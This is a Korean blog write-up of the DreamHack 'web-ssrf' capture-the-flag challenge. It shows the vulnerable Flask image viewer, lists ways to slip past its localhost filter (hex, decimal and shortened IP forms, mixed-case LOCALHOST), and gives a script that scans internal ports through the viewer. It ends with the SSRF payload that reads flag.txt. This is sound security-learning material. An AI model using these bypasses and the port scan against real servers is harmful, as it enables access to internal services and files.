Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] stage9_문제풀이(web-ssrf) 본문

Hack/DreamHack(로드맵)

[Web_Hacking] stage9_문제풀이(web-ssrf)

CIDY 2022. 7. 30. 09:15
#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

이미지 뷰어로 뭘 하면 될 것 같은데.. 일단 localhost나 127.0.0.1은 막아놨다.

 

위 URL필터링을 우회할 필요가 있는데, 

 

->127.0.0.1을 0x7f.0x00.0x00.0x01이나. 위를 풀어 쓴 0x7f000001이나, 그걸 또 10진수로 바꾼 2130706433이나, 0을 뺀 127.1이나, 127.0.1은 모두 같은 호스트 표현이다.

 

그리고 127.0.0.1부터 127.0.0.255까지는 루프백 주소라고, 암튼 모두 localhost를 가리킴

 

 

->URL에서 host, scheme부분은 대소문자 구분이 없으므로 LOCALHOST라고 적거나, LoCaLhOsT라고 적어도 무방하다.

 

 

그런데 또 코드를 보면 로컬포트 번호가 1500 ~ 1800중 랜덤한 숫자다. 으ㅇ악 -> 때려맞춰야 하는 부분이다.

 

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
if __name__ == "__main__":
    chall_port = int(sys.argv[1])
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

도저히 브포 코드를 스스로 쓸 자신이 없어서 드림핵에서 떼왔다. 포트 번호를 인자로 주면 된다.

1622

 

내부서버가 /app에 있고, /app/flag.txt니까

 

위에서 우회한 로컬호스트 + :1622/flag.txt 하면 될 듯

http://LOCALHOST:1622/flag.txt

 

 

아니 이걸 왜 이런식으로 주는걸까...

 

img = base64.b64encode(data).decode("utf8")

위에 코드 보면 이렇게 돼 있으니까 base64에서 디코드해줘야 할듯.

 

flag